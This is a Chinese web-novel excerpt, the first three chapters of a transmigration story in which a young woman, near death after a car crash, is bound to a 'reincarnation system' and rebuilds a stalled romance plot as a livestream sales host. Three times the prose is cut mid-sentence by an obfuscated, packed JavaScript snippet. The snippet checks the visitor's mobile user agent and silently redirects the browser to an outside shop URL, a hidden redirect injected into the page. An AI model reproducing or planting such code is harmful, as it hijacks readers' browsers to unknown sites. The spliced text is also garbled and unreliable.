《投胎须谨慎[快穿]》 1. 谈恋爱不如当老板(一) “哎,我今天又看见老板和玲姐在休息室,两个人贴得严丝合缝,就快滚地上了!啧啧啧。” “我之前也看见过一回!听说人事玲姐是老板的小姨子?那他们这样岂不是……” 浴室靠里最大的一间隔间内,两个年轻漂亮的女人面对面,头顶各悬一个淋浴器,热水冲后背正在卸妆。 “是啊,听说去年我进公司之前俩人就……”这人说得隐晦,拖长的语气却说明了一切。 “唉,真同情老板娘啊。咱们小声点,万一被人听见去告小话就完了。”另一人捂嘴小声道。 两人噤了声,安安静静地洗澡。 …… 吸进肺里的空气闷热潮湿,眩晕之中,林呓模模糊糊听见有人在说话。 热水从头顶淋下,漫过脸庞,耳膜鼓闷,林呓下意识摸向左耳,却没摸到熟悉的助听器。她一个激灵,强撑开沉重的眼皮,发现自己正浑身赤裸的站在一个小隔间里。 这是……浴室? 没了助听器,左耳的听力却比之前更好了。但这不是梦,头疼,身上也疼,像被撞散架了一样。 林呓手撑着磨砂玻璃,几个深呼吸后才慢慢稳住心神,仔细观察起环境。 水汽弥漫,各种气味糅在一块儿,不能细闻。有淋浴声从别处传来,根据声音判断,这个浴室环境规整空间不大,就她现在待着的隔间大概有二十来个。 林呓关上水,抹了把脸,被瓷砖上一个红色发光点吸引了视线。 摄像头? 她抓起浴巾披上,戒备地猫着腰辨认。 看着看着,那红点忽然悬浮起来,竟开口说话:“终于等到你了,林呓。我是001号自助投胎系统,我能感知一切,但不是靠眼睛。” 周围水声陡然消失,从天花板上滴落的水滴停滞在了半空。 完全陌生的环境,会说话的悬浮小球,时间静止……这一切都太诡异了。 林呓保持镇定:“这是哪,你怎么知道我的名字。” 001回答:“这里是小说作者建构的世界。你在现实里发生了车祸,濒临死亡,因为你说出了关键词,所以来到这里。我知道关于你的一切。” 车祸……林呓想起来了,她跑完龙套跟一个陌生人拼车去外城的白鸽广场打零工,经过路口时突然有辆失控的货车冲了过来,之后她就失去意识了。 劁蛋的命运! 她才二十岁啊!! 林呓无语望天,觉得真他大爷的扯淡,她看着那颗球:“有死亡回放吗?” 红光闪灭,001化为一抹金色虚影没入她的眉心,脑海里随之浮现一些画面:货车从驾驶位的方向猛烈撞击过来,身侧素不相识的男人竟立刻扑身死死护住她,然而冲击太强,整辆车被撞飞翻滚出几十米远。 飘在空中看,林呓才知道车祸有多么凶险,肾上腺素飙升提高了疼痛阈值,她当时几乎没有感觉到疼。在001的视角中,她看见司机和保护她的男人当场死亡,而她撑到了救护车来,满身是血的被抬了出来。 大约是回光返照,她过电影似的从头回顾自己短暂的一生。 五岁生病被遗弃,在福利院打架收小弟,被好心的老夫妇收养,养父母相继去世后独自谋生存…… 最后,她看见自己的灵魂脱离躯体,在半空中俯视伤痕遍布的肉身,无甚留念仿佛只是走个过场地说:“如果有下辈子,我……” 正在这时,时空暂停,伪人感明显的机械音从天而降。 [检测到关键词“下辈子”,触发自助投胎系统线上办理服务,正在为您配对……查询到001对您发出绑定邀请,即将进行绑定。] 回放就到这里结束。 林呓嘴角抽动,觉得更扯了,“这关键词能不能走心点,这么容易就触发的吗?还线上办理,那线下是不是要等走黄泉路的时候找孟婆啊?你还发出邀请,你以为你是黑白无常天天蹲魂啊,你邀请我我能拒绝吗?” 001沉默片刻,“关键词由公司设立,员工无权质疑。你很聪明,某种意义上孟婆可以看作是我们公司的外包员工。我不是黑白无常,但蹲魂的确是我的工作。我邀请你,你可以拒绝,但是——” 林呓毫不犹豫道:“那我拒绝。TD。” 听听,这“人”嘴里有一句话能信吗?你怎么不说地府是你家分公司呢!莫名其妙地绑定了一个莫名其妙的系统,准没好事。死就死了吧。 001把话补完:“但是拒绝的话,你立刻就死了。” 林呓从善如流:“撤回。” 她挑起眉,“我还有的救?” 001:“命悬一线。只要你接受绑定,完成穿书局的要求,帮助包括但不限于封笔弃坑、崩溃断更、灵感枯竭的作者重新构建小说世界,就有机会回到现实,健康完好的醒来。” 林呓心中动摇,想对它了解更全面一些:“你不是自助投胎系统吗,拯救作者笔下的小说世界算什么投胎,穿书局又是什么?” “五年前,人类热梗‘最会投胎的人出现了’火爆快穿世界,BOSS抓住风口创立公司,推出产品自助投胎系统,与穿书局建立合作,凡临死前说出关键词的人,会依据心中遗愿智能匹配合适的小说世界进行‘投胎’,自助体验向往的人生。然而近期由于人数庞大出现了管理和程序漏洞,一些投胎者致使角色人设崩塌,小说世界面临巨大危机,作者和读者深受其害,穿书局局长震怒,责令公司严查整改。”001一口气说完,身上的红光都暗淡了些。 林呓默默腹诽,“投胎”很有可能是个博眼球的噱头,他们公司就是普通的快穿公司,而她俩一个是被公司丢出来背锅的倒霉蛋,一个是被倒霉蛋选中的倒霉蛋。 呵,她真是老倒霉蛋了。 林呓直白地问:“那我需要构建多少个世界才能醒,中途失败了怎么算。” “数量不是标准,”001说,“只要能帮助作者重拾信心,顺利完成创作,作者写得爽读者看得爽,累计实现一个‘不可思议’的目标即为成功,失败即在当下小世界重新开始。” 林呓捉住重点:“什么是不可思议的目标?” “涉及公司机密,非先驱成员无权知晓。能够告知的是,绑定系统等同于入职公司,税后日入一亿,需要你构建的世界全部符合你内心的渴望。比如,在这个世界里,你经济独立,有自己的小房子,目前工作稳定,不用再为生活东奔西走。” 001向她保证:“我会尽全力与你一起实现目标。” 有机会在现实里醒过来,还能按心中所想在不同世界活一遭……这两个诱惑不可谓不大。 权衡半分钟,林呓做出了决定,笑眯眯地看着它:“你们这儿签合同吗?我要求签个入职合同不过分吧。” “当然,签订入职合同是法律规定。”001听起来松了一口气。 …… “绑定成功。” 随着001的宣布,第一个小说世界的已知信息便如小溪流水般温和地进入了林呓脑海中。 这是一部尚在连载的都市言情小说,女主林呓是一家小传媒公司的带货主播,为人随性大方,清醒上进,身边追求者无数,但从不沉溺于情爱,一心挣钱盼望有朝一日自立门户。 小说一经发布便受到不少读者的喜爱,但一位天外来客打破了平静。 ——上一位投胎者的遗愿是做个事业有成的酷飒大女主,可她却本性难移是个实实在在的性缘脑,出现一个男角色就关注人家是否对她有好感,这还不算完,她还是个愚蠢的恋爱脑,表现在贡献自己的积蓄供渣男读书、贡献自己的房子收留渣男等等。 更令人哭笑不得的是,投胎者一旦再说出“下辈子”“投胎”之类的关键词就自动视为结束世界体验,于是她在面对渣男的pua时深情表白“如果有下辈子,我要当你的被子,每晚都陪伴你”,然后嗖的一声顶破天花板飞走了。 漏洞使投胎者造成的影响保留了下来,小说世界也因为主角的消失而陷入停滞。 相当于作者意志被囚禁,眼睁睁看着笔下原本潇洒恣意、坚韧果断的女主突然ooc变舔狗,做了一系列迷惑操作,最后丢下一句土味情话就消失了。 这谁受得了? 恢复意志后作者崩溃了,要命的是她还不写大纲裸更,一直找不准状态写不对味儿,连着失眠断更了一个月,读者等得花都谢了,天天追着求产粮。 脑海里主角居然跟自己同名,林呓不由得问:“我思考这个问题很久了,一些快穿小说里每个世界主角名字都一样,是强行巧合还是实在想不出别的名字?” “为减少失误和磨合,快穿世界里无特殊含义的主角名都将一键替换为宿主名。”001顿了顿,像念广告一般,“此技术由穿书局倾情赞助。” “还能这样啊。”林呓眨眨眼,心说穿书局简直是作弊般的存在啊。 “作者将崩毁的剧情都删除了,停在渣男到家门口堵女主的关键点,也就是今晚。记住,你是这个世界的核心,言行举止符合人设就能覆盖掉之前的错误。”001尽可能多的向她补充细节。 “也就是说只要不崩人设,情节合理,其余的可以自由发挥是吗。”林呓听懂它的潜台词。 001红光闪烁两下以示肯定,“维持人设,合乎逻辑,万事以重构小说世界为先,一些小瑕疵无伤大雅,我会酌情屏蔽。” 林呓了然。 她还想问临死前保护自己的男人会不会也绑定了系统,萍水相逢,他竟然舍命相救。还有上一任投胎者,她离开小说世界后会何去何从? 然而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464770|141847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 001能量告急,说完“一切都靠你拯救了”这句话便隐进了林呓的眉心。 …… 停在半空的水滴落在地上,溅起的微小水花打在了脚面上。 林呓快速调整情绪,擦干身体穿好衣服出了浴室,凭着记忆去员工更衣室拿东西。 此时各个直播间都关了,只剩几个晚班到凌晨一点的主播,大家都两眼无神,彼此无言,活像被妖怪吸光精气的干尸。 林呓也感受到这副身体是真的很累,嗓子火辣辣的疼,饿得前胸贴后背了。 公司租在写字楼9层,是一家倒闭健身房改造的,林呓一下电梯到大堂,就遇见了刚刚别人口中的背德男女主角。 老板邬寻和人事赵玲勾肩搭背地推门从楼梯里走出来,看见有熟人两人才慢悠悠拉开了距离。 赵玲理了理头发和衣服,笑脸迎上来:“小林才走呀。” 林呓神情平常,微笑说:“是啊,玲姐。” 邬寻身着西装,打领带戴名表,俨然成功人士的模样。他双手插兜,一副关心员工的表情,眼睛里却暗含打量:“小林辛苦了,要好好休息别影响工作啊。” 什么狗屁不通的废话。刚下班你就让我别影响工作,不会说话就闭嘴。 林呓依然保持微笑:“好的老板,那我先回去了。” 凌晨一点半的城市依然灯火通明,路边不少小吃摊贩还在营业,林呓挑了一家闻起来最香的,对老板说:“来一份炸鸡锁骨。” 均匀裹满面糊的鸡锁骨在咕嘟冒泡的油锅里翻滚,不一会儿每一块肉都变成了诱人的金黄色,这时捞出等油温上升后复炸一次,肉质就会更加酥脆。 老板把炸好的肉捞进盘子里,热情地说:“芝麻孜然辣椒都要吧?最后两斤都给你了妹妹,按一份的钱给15就行。” 林呓狂咽口水:“嗯嗯都要,谢谢老板!” 佐料一撒,香味立马霸占鼻腔,叫人恨不得百米冲刺回家,开一瓶饮料、找个电视剧,坐下来舒舒服服的享受! 林呓的六十平小公寓离公司不远,隔了两条街,首付爸妈赞助,她管装修和月供,小日子过得有滋有味。小区得有门禁卡才能进,保安24小时轮班,要乘坐电梯也得刷卡,看起来似乎很安全。 然而当看到堵在家门口的顾苑,林呓就不这么想了。 顾苑是林呓老家的邻居,小时候常见,听说他考研两次都失败了,今年打算三战。他垂头丧气地坐在地上,旁边还带着行李箱,看架势像是无家可归的流浪汉来求她收留。 听见有人从电梯里出来,顾苑立马昂头去看,一看见林呓眼睛都亮了,他踉跄爬起来,脸上带着喜悦和小心翼翼,“小呓,你还记得我吗,我是顾苑,你发小……你长大了,变得更漂亮了。” 林呓佯装没想起来,皱着眉上下打量他。 顾苑挺直脊背,把刘海掀上去,眯起眼,“我小时候没刘海小眼睛,能想起来吗?” 林呓回忆两秒,作恍然大悟状:“哦是你啊。你也住这里?” “对对就是我!”顾苑挠了挠头,有些窘态,“我不住这儿……我是跟着一个业主溜进来的,我听你爸妈说你住在这里,就想着拜访一下。” 哪户好人家的教养是半夜三更拖着行李堵门拜访? 林呓的爸妈倒是提前说过这事儿,只不过说的是:“邻居家小顾听说跟你在一个城市,非要请你吃饭,还问我要你的号码,我没给怕他打扰你。但他坚持要问你的住址,我想着你那小区安保严他也进不去,就告诉了他小区名字没说户号。说完就后悔了,囡囡你注意安全啊,都怪我多嘴……” 林呓似乎只是随口一问:“你怎么知道我住几栋几零几的。” 顾苑面不改色地撒谎:“是叔叔阿姨告诉我的,他们也想我们联络一下感情,毕竟咱俩小时候还订过娃娃亲呢……不过你别多想,就是长辈们说着玩的,我没那个意思。” ……林呓有点,不,是很想打他。他考的是茶艺吗?说话这个味。 林呓脸色略微冷下来:“我没多想,本就是酒后胡话,我们家人早就忘了。同龄之间说拜访受不起,现在面也见到了,你还有事吗?” 顾苑眼中闪过一丝受伤,随即可怜地垂下头,“没事……我原本以为你和小时候一样喜欢我,得知你的近况马不停蹄地就想来看你一眼。” 他顿了顿,语气关切:“你是做什么工作的,怎么下班这么晚?女孩子独居很危险的,没人保护你,你一个人可一定要注意安全啊。” 林呓唇线抿直,若不是美食的香味拽住了理智,她可能真的要揍人了。怎么看最大的危险都是这个不知从哪弄来她家地址的这个茶味流浪汉吧? 她微微勾唇,冷声:“不劳你费心,我学过八年散打,它教会我勇敢也让我强大。” 2. 谈恋爱不如当老板(二) 夜晚,汽水,炸鸡,电影。 当这几个要素同时出现,那就意味着——快乐! 林呓舒舒服服的窝在沙发里,一口炸鸡一口汽水,哪怕电影不看仔细当个背景音也是极妙的。 面前摆了一面化妆镜,林呓能看见眉心处忽明忽暗的淡淡光芒,就像黑夜里的萤火虫。镜子里的人与她原本的长相有七八分相似,不过五官更加立体,气质自信恬淡,因此上镜十分好看,有一股浑然天成的亲和力。 林呓心唤001:“八年散打是我自己的本事,小说里没提过算不算崩人设?” 001回应她:“不算。作者虽未提及,却也不违和,而且刚刚你说出那句话,作者挺惊喜满意的。” 林呓惊讶:“作者在实时监控?” “不,快穿世界与现实世界时间流速不同,你所做的一切对于作者来说只是上帝视角的一个梦。” “那你是怎么知道作者满意的。”林呓疑惑。 “她刚刚说梦话了,说‘好好好散打牛哇’,她潜意识里已经记下这个灵感了。”001平常地说。 “……” 林呓被一口辣椒粉撒得不均匀的鸡肉呛到,忙喝了一大口汽水,缓了缓道:“你有没有实体,一起吃点?” 001愣了愣,“不用了,你多吃点……你不用太紧张,这就像个演习,为作者提供灵感和可能性而已,我会监测作者的反应及时为你提供反馈。” “那就辛苦你啦。”林呓对着镜子说。 眉心的红点闪烁一下算是回应,很快就隐匿了。 那顾苑被下了逐客令还不甘心,东拉西扯又硬聊了两句,最后面对林呓的冰山脸无论如何说不下去了,才一步三回头的走了。林呓思索片刻,在业主群里艾特了物业和保安,将这事简化地发了出来。她可不想顾苑下次还有溜进来堵门的机会。 夜色浓重,城市逐渐安静。 林呓洗漱好,把脏衣服丢进洗衣机,在瑜伽垫上按“林呓”的习惯做了一会儿运动,然后准时在2:30入睡。 下午三点,太阳照在身上暖洋洋的。 林呓到了公司直播间,看见搭档夏浮声已经开始工作了,两人互相点头致意了一下。 林呓贴墙走进里面,坐在椅子上不动声色地观察房间。 直播间不大不小,相机架在中间对准布置好的房间一角,两边各放置一盏又高又大的补光灯,像蔫垂着的超大号莲蓬,那光照在身上就像浴霸一样烘人。地上密密麻麻爬满了黑色的数据线,连着另一边的插线板和电脑,电脑屏幕上是直播间的后台实时数据,显示累计成交金额、千次观看成交金额,以及在线人数等等。 晚班下午三点开始,凌晨一点结束,两人搭档,每人轮流播两个半小时,期间每隔20分钟另一人助播一分钟,让主播喘口气。她们这个直播间主卖衣服,主播要穿上样衣展示,所以——必须站着播。 林呓在家对着镜子练了两个小时,话术已经掌握熟练了,翻来覆去都是那些车轱辘话,五分钟就能说完一轮。此时近距离观看夏浮声直播,林呓自然不放过这个学习的好机会,仔细观察。 相机旁边架着手机,夏浮声时不时看眼屏幕回答观众的问题。 20分钟一到,夏浮声就发出信号:“现货库存真的是不多啦,大家抓紧时间秒拍秒付啦。还有不会拍的哥哥姐姐们,让我们家小助理教一下大家啦。” 小助理林呓清了清嗓子,照着备忘录里的助播稿念了一遍。 夏浮声避开镜头喝水,小声嘀咕:“老板又叫人把折叠床搬去休息室了!这下好了,连20分钟都睡不了,累死主播谁给公司挣钱?” 邬寻偶尔来公司巡视,每次都出幺蛾子,每周五让主播下班打扫卫生啦,连个保洁阿姨都舍不得请!上班不许睡折叠床不许玩手机啦,工作态度不端正抓到就扣工资!大家对待他都是当面财神爷大老板,背后扫把星吸血鬼。 休息室,床……联想到昨晚听来的小话,林呓勉强地对夏浮声笑了笑,心想,就算是谣言她也绝不会挨那床一下。 短暂的休息过后,夏浮声又开始拿旧话招呼新客人了。 两个半小时不知不觉就快过去,林呓提前换好衣服,五点半准时接替夏浮声上播。 有了练习和心理建设,林呓上镜不怂,并且似乎融合了之前的角色记忆,于是越来越得心应手,话术流利感情丰富,接住流量的同时精准找到高频问题融入话术里和观众进行互动。 今天流量极其差,夏浮声下播时直播间里只有21人,但她上来后开始慢慢涨,过了20分钟已经有66人了。 夏浮声帮她助播完,趁她喝水的时候说:“不愧是你啊姐,不管你在哪个时间段哪个直播间,数据都很漂亮,怪不得大家都想跟你搭档呢。” 林呓嘴角微弯,大方接下这夸奖。 公司专做直播卖货,主播底薪一律八千,新人提成千一,三个月转正后提成千二,而林呓领了个新号从零开始三个月后直接和老板谈到了千十,原因无他,凭的是每月都超过600万的成交额。而直播需要两人搭档,工资又与每天的成交额息息相关,也就是说,谁抱上了林呓的大腿,谁拿的提成就多,哪怕夏浮声只在千一档,每天的提成也能多几百块钱。 夏浮声是新人,玲姐怕她拉低平均值,就让林呓带她,这可把林呓原本的搭档气得不轻。想想也不怪,每天少一点,一个月就少一万多呢! 其实这公司待遇很差了,行业里提成平均在千三至千八,一些品牌店也能到百五,更高端奢侈的商家还能更多。而且公司几乎所有账号流量都很差,林呓怀疑运营和邬寻有仇,说不定是情敌,或者邬寻抠门到家了不舍得砸钱投流。 思及此,林呓眼前浮现出一行只有她自己能看见的字:攒钱单干当老板! 这是原剧情里女主常常讲废嗓子还不得不咬牙坚持时的心理支撑。她的目标简单清晰,就是刚毕业这年很茫然很焦虑,那便让自己没时间瞎想,先拼命赚他一笔,有了本钱再做其他打算。 …… 八点整,林呓下播了,趁着20分钟的空隙下楼买晚饭和药。 主播这行,门外汉觉得很轻松,甚至有点看不起,觉得不就讲讲话嘛,撞上时代风口了而已。室内空调爽歪歪,工资几万笑哈哈,让我干我也能行。 但每天连续数个小时不断说话、调动情绪,是十分耗费气血的,尤其很废嗓子,遑论长时间都要如此了。 林呓拼命,但也惜命。光是保护嗓子的茶、药、含片,每月就要买上大几百块钱,一天一盒含片是打底的,更别说补气补血的保养品了。 写字楼旁边有一个商场,商场里有一个药店,而药店里有一个弟弟。 一个挺高、小帅、很黏人的弟弟,徐叶。 因为距离很近,林呓时常来这儿买药,而徐叶是附近医专的大二学生,空闲时间在这里兼职店员,一来二去对看上去气质成熟林呓产生了别样的情愫,终于在几天前鼓起勇气问她要微信。 原文里如此描述:“林呓此人看上去内敛沉静,实则爱玩爱闹,数月如一日的工作犹如酷刑几乎就要把她榨干,她微微笑着打量面前红了脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464771|141847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问自己要微信的男生,忽然想起一句歌词,‘许我一个女子,给我没日没夜的快活’。她想她善良老实些,不要也不想没日没夜的快活,只给这枯燥生活加点调味品也无不可。” 加上微信后,徐叶一有空便找林呓说话,那叫一个滔滔不绝绵绵不断。说自己没谈过恋爱,是张白纸怕所遇非良人;说要努力学习专升本,然后继续读研深造;说家境不好爸妈穷养儿子,生活费太少不得已出来兼职…… 林呓到底比他多活几年,也在社会上摸爬滚打小一年了,尽管聊得比较浅,但从话语逻辑、语气态度已经足够窥见他是个什么样的人。 不过无妨,每天发“早安晚安”的调味品而已,有意思就行。 这个点商场人流量很多,药店却门庭冷落,只有一个眼熟的阿姨在收银台坐着,林呓向她点过头,径直走向熟悉的货架拿含片,又绕到后面拿了一罐金银花,想起菊花茶也快喝完了,于是也准备拿一罐,却没找到,视线向上,正看见原本和金银花放在一起的菊花却被整整齐齐全部放在了最高的一排。 林呓踮脚伸手,却还是够不到。她想到什么,忽然停下了动作,嘴角勾起一抹冷淡的弧度。 “要这个吗,我帮你。” 身后一道年轻的男声适时响起,紧接着林呓感受到后背有人靠近。 那人轻而易举便拿到了一罐,却将动作放得很慢,像是在刻意营造什么氛围感。 林呓眼底一片清明,当然明白这都是徐叶故意安排的。 他玛丽苏小说看多了吧? 装什么清纯呢。 林呓转身,淡淡看他一眼,接过罐子,道了声谢,转身便去结账,仿佛两人根本不认识。 徐叶看着自己空落落的手,又看向面前的倩影,愣在了原地。 林呓出了药店不多远便被人叫住,她毫不意外地转头,看着向她跑来的徐叶。 徐叶戴着口罩,碎发遮住了眉毛只露出狭长的眼睛,他居高临下地看着林呓,有点兴师问罪的意思:“什么意思?装不认识我?” 嘁,小屁孩还拽起味儿了。 林呓发挥演技,用一贯温和的目光看着他,说:“你不是在上班吗,不想打扰你。” 徐叶盯了她好一会儿,见她表情如常就放软了态度,笑起来:“我还以为你不想搭理我呢。” 林呓依旧温和地看着他:“有什么事吗,我还赶着回公司。” 徐叶皱起眉头:“你才刚来就要走,我们话都还没说几句呢!” 林呓脸色淡然,薄唇微弯,看着他不说话。 徐叶叉着腰的手渐渐放下了,对这一刻的林呓格外心动,回想起刚见她时的情景。 刚来这里兼职时徐叶便注意到总是有一些年轻女生来买补气血润喉咙的药,似乎是在附近上班的。一开始他也没太放在心上,只管做好自己本分的事,直到一个人的出现。 林呓显然是老顾客,每次来都轻车熟路,买的药和那些女生差不多。她长发半束,温婉娴静,举手投足间皆散发着成熟女性的魅力,徐叶被深深的吸引了,做了好多天的心理建设才下定决心主动出击。 林呓轻叹一声,似是拿他没办法,放轻声音说:“好了,有什么事微信聊吧,再不回去阿姨该训你了。” 见她如此在乎自己,徐叶心里得到极大的满足,傲娇地扬起头:“就知道你心疼我,走啦。” 在他转身回去的下一秒,林呓终于松开了拳头,天晓得她刚刚用了多大的忍耐力!装药的袋子都被攥得不成样了。 这哪里是调味品,简直是个活祖宗! 3. 谈恋爱不如当老板(三) 哪怕时间流速不同,时间的流逝感却是真实的,按部就班地过了两天,林呓几乎完全融入了这个世界,有时甚至不用001提醒,她自己就能听见作者的梦话。 “顾苑已经有女朋友了,还来纠缠别人,渣男!” “徐叶弟弟心智不成熟,作天作地怎么配得上女主?还得是男主啊。” “本来想设定万人迷火葬场,结果越写越偏,不写大纲果然不行,下一本一定要写!发誓!!” 梦话听了不少,日子也过去了两天,可男主丝毫没有要出场的迹象。 林呓不禁怀疑,这个不靠谱的作者是不是压根没想好男主是谁?节奏这么慢,读者都要跑光啦! 夏浮声又发来了信号,林呓回过神,帮她助播。今天夏浮声总是咳嗽,短短20分钟林呓已经帮她四次了。 见夏浮声又拿起饮料喝,林呓皱眉提醒她:“你咳成这样别喝饮料了,很伤嗓子。” 夏浮声苦着脸说:“没办法啊,不喝我好困啊,根本站不住。” 林呓盯了她一会儿,看她丝毫不听,便说:“我出去买吃的,20分钟后回来。” 说罢无视夏浮声可怜兮兮的眼神直接出去了。 外面的工作区开放,几个坐没坐相的男员工瘫在椅子上玩手机,林呓漫不经心地扫一眼,看见了从洗手间出来的赵玲。 赵玲伸出手指对她嘘了一声,然后轻手轻脚地走到那些员工身后,猛地出声:“好啊又摸鱼,这次被我抓到了吧!当客服这个态度消费者还不跑光了!” 林呓低眼溜出去,身后一片求饶声。 下午四五点的阳光照在身上很舒服,林呓随意闲逛,边晒太阳边舒展筋骨,偶然瞧见对面新开了家烘焙店,于是想顺便买点面包。 三三两两的行人站在路边等绿灯,突然一辆电动车从右侧的非机动车道窜了出来,横冲直撞地就往人行道上拱,骑车的男人嘴里嚷着:“让让让让!眼瞎啊!!” 林呓避让不及,一不小心撞上了脚边的水泥柱,当即吃痛一声,摔在了地上。 而那人连回头看一眼都没有,一溜烟就没人影了。周围的路人有的看了她一眼,有的看都没看,绿灯恰巧亮了便陆续走了。 “嘶……” 林呓手撑地想要站起,脚踝却传来一阵阵钻心的刺痛,一点力气都使不上。 她暗骂一声倒霉,拿出手机准备和赵玲说一声,请她暂为帮忙助播。 消息刚发出去,却听见一个男人在叫她的名字。 林呓回头,一个周身嵌着柔光的男人就这么毫无征兆地撞进了她的眼睛里,心跳在此刻怦怦加速。 一定是他,除了他,还有谁会是如此颜色?人潮如流,微风拂面,但周围的一切景物仿佛都变成了平面的纸片,只有他是立体的、鲜活的。 林呓只能看见他,只能听见他。 男人跑近了,隔着一步的距离在她面前半蹲下来,他的目光炽烈又隐晦,带着林呓看不懂的情绪,直勾勾地盯着她,仿佛在透过这具身体看向深处的灵魂。 “哪里受伤了吗?”男人紧张地打量她。 他的视线让林呓感到微妙,她收敛心思,下意识摸向右脚脚踝,额头沁出一层薄汗。 见她这副状态,男人旋即弯腰将她抱起,稳稳地穿过马路走进一家店里。这是一家新装修的店,招牌都还没挂,店内略显凌乱狼藉。 男人踢开杂物,小心地将林呓放在沙发上,转身去寻找什么。 林呓此时脑子里很懵很吵,不是伤得多严重,而是作者正叽里咕噜地在说梦话,林呓费了点功夫才理清她的意思。 面前这人的确是男主,可他也是林呓的前男友! 他叫凌翊。 凌翊和林呓是高中同学,两人一见面就因为误会成了冤家同桌,后来误会解除关系逐渐缓和,往暧昧的方向一路狂奔。高考后俩人戳破那层窗户纸在一起了,大学是异地恋,感情起起伏伏还算不错,临近毕业了因为意见不合分道扬镳,形同陌路。 凌晨说分手,下午凌翊就来找她,当时她的论文初稿终于通过了,一时间悲喜交加百感交集,被几个室友拉去酒吧蹦迪消愁。凌翊找了她四个小时,正巧当场捉到她喝嗨了拿着半瓶酒要和别的男人比舞。 那天他黑着脸把林呓送回学校,还被吐了一身,本想等第二天她酒醒了再好好沟通,结果林呓一觉睡到傍晚,而醒来的第一件事就是把他所有的联系方式全部拉黑了。 林呓当然是故意的,因为她以为凌翊看见自己的丑态一定会打击报复,微信留言说要见面好好谈谈是挖坑等着她跳呢,于是当机立断装死——江湖不见! 凌翊从二楼下来了,手里握着一个冰袋,和一条还挂着标签的干毛巾。 林呓目光下意识跟随他,看他半跪在自己面前,小心翼翼地脱去了自己的鞋子,挽起裤脚,先仔细观察了一下,然后用毛巾裹住冰袋敷在她的脚踝上。 “啊——” 疼痛终于让她心神归位。 凌翊以为是自己动作太粗鲁,弄疼了她,眉心拧起犹豫了一秒,继而先拿开了冰袋,慢慢吹气帮她缓解疼痛。 轻柔的气流吹在伤处痒痒的,倒也的确缓解了一点痛感。 林呓看着他黑茸茸的脑袋,藏匿于黑发后轮廓俊逸的五官,心里有许多疑问,比如:男主原本的名字就是凌翊吗? 她心唤001,一向秒回的001却意外的没有应答。 过了两秒,脑海里浮现光屏,显示:[系统正在出差中,请耐心等候。] “……?” 什么情况?半路扔下宿主还有没有点职业道德啊喂! 林呓差点绷不住表情。 正在这时,作者又磨牙呓语了:炸掉键盘!男主登场之后的剧情想了好几个版本但总是差那么一点儿味道……唉,要是男女主可以自己对话自己走完剧情就好了,要和好但不能太容易就和好,要我推你拉,面对彼此应是不同于旁人的一面,一个嘴硬,一个宠溺,这样才有看点嘛! 林呓:……你搁这点菜呢? 可偏偏她毫无办法,一个半途失踪,一个得寸进尺,只能硬着头皮走剧情了。 知晓了两人孽缘往事的林呓选择装哑巴,还好凌翊也没有要交谈的意思。 于是,在安静到诡异的气氛里,林呓默默看着凌翊握着她的脚踝放在膝盖上冰敷。 断断续续敷了十几分钟,林呓感觉好点了,不好意思他再这样照顾自己,缩回腿,嗫嚅道:“不用了,好多了。” 凌翊看了她一眼,没有坚持,放下冰袋起身出去了。再回来是十分钟之后,手指上勾着印着那家烘焙店名字的包装袋。 或许是看出林呓的坐“立”难安,他主动说:“我送你。” 明明没说自己要上班,更没说公司在哪,凌翊却好像清楚一切一般,一只胳膊伸着给林呓当拐棍,一只胳膊拎着袋子和一个旋转高脚凳,一路无言地送她进写字楼。 一进公司,众人就注意到这一高一矮的两道身影,一个出来倒水的女主播看见林呓瘸腿走路,忙上前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464772|141847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关心道:“没事吧林呓,你这怎么了?” 正是林呓的前搭档,郭珊。 郭珊看见她身边的凌翊,一时怔在原地,连探寻的视线都忘了收回。 林呓冲她笑笑:“不小心摔的。” 凌翊放下凳子,把手里的袋子递给林呓,丢下一句“不要单腿用力”,就转身走了。 看着男人离开的背影,郭珊忍不住八卦:“你……这么快就换了一个啊?不过这个男人看着确实更优质。” “什么?”林呓愣住。 郭珊奇怪地看她一眼,“前几天有个男人拖着行李箱在我们小区门口徘徊,拦住我问你的住址,说看见过我俩一起走。他不是你未婚夫吗?” 未婚夫?……顾苑? 林呓顶了顶后槽牙,拳头攥紧又松开,幽幽地看着郭珊:“原来是你啊。” 郭珊脖子一缩,感觉不妙。 - 别说,凌翊的凳子真挺好用,高凳,上衣样品正好能完整括进镜头里,带轮,拿水杯什么的代步都方便。 八点直播完,林呓足尖点地轻轻一转,椅子便将她带去一旁。双手撑桌缓冲,不小心碰到袋子发出了窸窸窣窣的声音,她眸光微闪,提到腿上打开封口,里面是牛油果面包、青柠味电解制水、水果沙拉。身体的反应告诉她,这都是“林呓”爱吃的。 